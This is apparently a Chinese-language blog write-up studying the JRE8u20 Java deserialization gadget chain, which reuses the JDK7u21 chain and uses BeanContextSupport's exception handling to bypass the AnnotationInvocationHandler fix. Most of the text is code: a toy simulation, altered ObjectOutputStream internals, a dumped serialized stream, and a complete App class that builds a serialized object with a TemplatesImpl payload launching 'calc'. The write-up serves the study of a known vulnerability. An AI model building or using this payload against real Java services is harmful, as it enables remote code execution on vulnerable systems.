JRE8u20
反序列化漏洞主要原理有两个:
1、利用了 JDK7u21
的构造原理;
2、通过 BeanContextSupport
类反序列化对异常的捕获,绕过了 AnnotationInvocationHandler
反序列的修复;
在 Java
默认反序列化类基础上进行了修改,学习过程记录一下。
涉及知识点:Java 序列化和反序列化、反射、动态代理等等。
环境:jdk1.8.0_20
、IDEA 2019.2
Java
序列化文章可以参考:https://blog.csdn.net/silentbalanceyh/article/details/8183849
首先看一下 jdk1.8.0_20
对 AnnotationInvocationHandler
类的反序列化修复。
try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); }
如果 this.type
字段不是 Annotation
类型,则抛出异常。在 JDK7u21
反序列化中, this.type
字段值是 Templates.class
,所以这里肯定会抛出异常。
Java 序列化和反序列化流程中涉及引用概念:序列化对象时,每次写入序列化对象前会调用 handles.lookup()
方法,看这个对象是否已经写入序列化,如果已经写入,则调用 writeHandle(h);
写入引用类型标识和 handle 引用值 0x7e0000 + handle
。
在 JDK7u21
序列化中,会先调用 HashSet
类的 writeObject
方法,然后调用 AnnotationInvocationHandler
默认的 defaultWriteFields(obj, slotDesc)
方法,所以在反序列化时也会先调用 HashSet
类的 readObject
方法,然后调用AnnotationInvocationHandler
类的 readObject
方法。上面说过 AnnotationInvocationHandler
类的 readObject
方法会抛出异常,而 HashSet
类的 readObject
方法没有捕获异常并处理,所以这个异常会直接抛出。
所以我们可以利用引用,如果找到一个类能调用并捕获AnnotationInvocationHandler
类的 readObject
方法的异常并且能继续执行,然后 HashSet
类的 readObject
方法直接读取 AnnotationInvocationHandler
类对象的引用。
寻找一个类,这个类需要满足几个条件:
1、实现 Serializable;
2、重写了 readObject 方法;
3、readObject 方法还存在对 readObject 的调用,并且对调用的 readObject 方法进行了异常捕获并继续执行;
JRE8u20
中使用的是 java.beans.beancontext.BeanContextSupport
这个类,看一下这个类的 readObject
方法,其中调用了 readChildren(ObjectInputStream ois)
方法,主要代码如下:
try { child = ois.readObject(); bscc = (BeanContextSupport.BCSChild)ois.readObject(); } catch (IOException ioe) { continue; } catch (ClassNotFoundException cnfe) { continue; }
这个类正好满足我们的条件。
Example
类模拟 AnnotationInvocationHandler
类
import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; public class Example implements Serializable { private static final long serialVersionUID = 1L; private String name; public Example(String name) { this.name = name; } private void readObject(ObjectInputStream input) throws Exception { input.defaultReadObject(); if (!this.name.equals("Example")) { throw new IOException("name is error"); } } }
Wrapper
类模拟 BeanContextSupport
类
import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; public class Wrapper implements Serializable { private static final long serialVersionUID = 1L; private void readObject(ObjectInputStream input) throws Exception { input.defaultReadObject(); try { input.readObject(); } catch (Exception e) { System.out.println("Wrapper child object readObject error"); } } }
Wrapper
类没有重写 writeObject
方法,可以根据 readObject
方法重新构造序列化流程。这里将默认 ObjectStreamClass
、ObjectStreamField
、ObjectStreamStream
、SerialCallbackContext
、Bits
类拷贝下来,进行重新修改。类名分别为 TCObjectStreamClass
、TCObjectStreamField
、TCObjectStreamStream
、SerialCallbackContext
、Bits
App
类
public class App { public static void main(String[] args) throws Exception { Example ex = new Example("test"); Wrapper wp = new Wrapper(); TCObjectOutputStream oos = new TCObjectOutputStream(new FileOutputStream("obj.ser")); oos.setEx(ex); oos.writeObject0(wp); oos.writeObject0(ex); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("obj.ser")); objectInputStream.readObject(); System.out.println(objectInputStream.readObject()); } }
重新构造 Wrapper
类的写入序列化流程,目标是将 Wrapper
对象像如下方式写入序列化。所以需要修改序列化流程中的字段和语句。
private void writeObject(ObjectOutputStream s) throws Exception { s.defaultWriteObject(); s.writeObject(ex); // 写入 Example 对象 }
1、首先修改 TCObjectStreamClass(final Class<?> cl)
构造方法,让 Wrapper
类描述的 writeObjectMethod
字段不为 null
,这样在写入序列化数据时,会调用重写的 writeObject
方法流程。
if (cl.getName() == "com.haby0.deserialization.JRE8u20.Wrapper"){ try { writeObjectMethod = HashSet.class.getDeclaredMethod("writeObject", new Class<?>[] { ObjectOutputStream.class }); } catch (NoSuchMethodException e) { e.printStackTrace(); } }else { writeObjectMethod = getPrivateMethod(cl, "writeObject", new Class<?>[] { ObjectOutputStream.class }, Void.TYPE); }
2、修改 TCObjectOutputStream
类的 writeSerialData
方法。将 slotDesc.invokeWriteObject(obj, this);
语句替换如下:
if(slotDesc.getName() == "com.haby0.deserialization.JRE8u20.Wrapper"){ defaultWriteObject(); writeObject0(getEx()); }else { defaultWriteObject(); }
然后执行 App
类的 main
方法,通过执行结果已经达到了我们的目的。
Wrapper child object readObject error com.haby0.deserialization.JRE8u20.Example@2626b418
序列化文件如下:
STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 41 - 0x00 29 Value - com.haby0.deserialization.JRE8u20.Wrapper - 0x636f6d2e68616279302e646573657269616c697a6174696f6e2e4a5245387532302e57726170706572 serialVersionUID - 0x00 00 00 00 00 00 00 01 newHandle 0x00 7e 00 00 classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE fieldCount - 0 - 0x00 00 classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7e 00 01 classdata com.haby0.deserialization.JRE8u20.Wrapper values objectAnnotation TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 41 - 0x00 29 Value - com.haby0.deserialization.JRE8u20.Example - 0x636f6d2e68616279302e646573657269616c697a6174696f6e2e4a5245387532302e4578616d706c65 serialVersionUID - 0x00 00 00 00 00 00 00 01 newHandle 0x00 7e 00 02 classDescFlags - 0x02 - SC_SERIALIZABLE fieldCount - 1 - 0x00 01 Fields 0: Object - L - 0x4c fieldName Length - 4 - 0x00 04 Value - name - 0x6e616d65 className1 TC_STRING - 0x74 newHandle 0x00 7e 00 03 Length - 18 - 0x00 12 Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7e 00 04 classdata com.haby0.deserialization.JRE8u20.Example values name (object) TC_STRING - 0x74 newHandle 0x00 7e 00 05 Length - 4 - 0x00 04 Value - test - 0x74657374 TC_ENDBLOCKDATA - 0x78 TC_REFERENCE - 0x71 Handle - 8257540 - 0x00 7e 00 04
看一下 BeanContextSupport
类的反序列化方法
private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { synchronized(BeanContext.globalHierarchyLock) { ois.defaultReadObject(); // 调用默认的反序列化方法 initialize(); // 初始化一堆字段 bcsPreDeserializationHook(ois); if (serializable > 0 && this.equals(getBeanContextPeer())) // 当 serializable > 0,并且父类 beanContextChildPeer 字段值为当前对象时,调用 readChildren 方法调用子对象的 readObject 方法 readChildren(ois); deserialize(ois, bcmListeners = new ArrayList(1)); // 当 ois.readInt() 大于零时继续反序列化对象,并将对象添加到 bcmListeners 中 } }
所以我们在重写 BeanContextSupport
类的序列化数据时应该这样写入:
defaultWriteObject(); writeObject0(getInvocationHandler(), false); bout.writeInt(0);
并且 serializable
的字段值设置为 1,beanContextChildPeer
字段值设置为 BeanContextSupport
对象。
1、在 HashSet 类中构造假字段,字段类型为 java.beans.beancontext.BeanContextSupport
,BeanContextSupport 和 BeanContextChildSupport 类只写入自己想要写入的字段;
if (cl == java.util.HashSet.class){ fields = SetHashField(); // 构造 HashSet 类假字段 }else if (cl == java.beans.beancontext.BeanContextSupport.class){ fields = SetBeanContextSupportField(); // BeanContextSupport 序列化要写入的字段 serializable }else if (cl == java.beans.beancontext.BeanContextChildSupport.class){ fields = SetBeanContextChildSupportField(); // BeanContextChildSupport 序列化要写入的字段 beanContextChildPeer }else { fields = getSerialFields(cl); // 默认获取序列化字段流程 }
2、修改 sun.reflect.annotation.AnnotationInvocationHandler
类的 hasWriteObjectData
值
if (cl.getName() == "sun.reflect.annotation.AnnotationInvocationHandler"){ hasWriteObjectData = true; }else { hasWriteObjectData = (writeObjectMethod != null); }
3、重新构造调用重写 writeObject 方法的序列化流程,根据 JDK7u21
序列化的类来修改 writeSerialData
方法,将 slotDesc.invokeWriteObject(obj, this);
语句修改如下:
if (slotDesc.getName().equals("java.util.HashSet")){ defaultWriteObject(); bout.writeInt(16); bout.writeFloat(.75f); bout.writeInt(2); writeObject0(getTemplatesImpl(), false); writeObject0(getTemplates(), false); }else if(slotDesc.getName().equals("java.beans.beancontext.BeanContextSupport")){ defaultWriteObject(); writeObject0(getInvocationHandler(), false); bout.writeInt(0); }else if(slotDesc.getName().equals("java.util.HashMap")){ defaultWriteObject(); bout.writeInt(16); bout.writeInt(1); writeObject0("f5a5a608"); writeObject0(getTemplatesImpl()); } else if(slotDesc.getName().equals("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl")){ defaultWriteObject(); bout.writeBoolean(false); } else { defaultWriteObject(); }
4、修改 defaultWriteFields(obj, slotDesc);
方法,将 writeObject0(objVals[i],fields[numPrimFields + i].isUnshared());
修改如下:
if (desc.getName() == "java.util.HashSet"){ writeObject0(getBeanContextSupport(),false); // 为构造的假字段写入值为 BeanContextSupport 对象 }else if (desc.getName() == "java.beans.beancontext.BeanContextChildSupport"){ writeObject0(getBeanContextSupport(),false); // 为 beanContextChildPeer 字段写入值为 BeanContextSupport() 对象 }else { writeObject0(objVals[i], fields[numPrimFields + i].isUnshared()); }
相关代码上传 github
package com.haby0.deserialization.JRE8u20; import com.haby0.deserialization.JDK7u21; import com.haby0.deserialization.JRE8u20.myutil.TCObjectOutputStream; import com.haby0.deserialization.util.ClassFiles; import com.haby0.deserialization.util.ClassLoaderImpl; import com.haby0.deserialization.util.Reflections; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javax.xml.transform.Templates; import java.io.*; import java.beans.beancontext.BeanContextSupport; import java.lang.reflect.*; import java.util.*; public class App { public static void main(String[] args) throws Exception { BeanContextSupport bcs = new BeanContextSupport(); Class cc = Class.forName("java.beans.beancontext.BeanContextSupport"); Field serializable = cc.getDeclaredField("serializable"); serializable.setAccessible(true); serializable.set(bcs, 1); TemplatesImpl calc = JDK7u21.createTemplatesImpl("calc", TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); HashMap map = new HashMap(); map.put("f5a5a608", "aaaa"); InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler"). newInstance(Templates.class, map); final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class,1); allIfaces[0] = Templates.class; Templates templates = (Templates)Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), allIfaces, tempHandler); LinkedHashSet set = new LinkedHashSet(); set.add(calc); set.add(templates); TCObjectOutputStream oos = new TCObjectOutputStream(new FileOutputStream("obj.ser")); oos.setTemplates(templates); oos.setTemplatesImpl(calc); oos.setInvocationHandler(tempHandler); oos.setBeanContextSupport(bcs); oos.setLhs(set); oos.writeObject0(set); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("obj.ser")); objectInputStream.readObject(); } }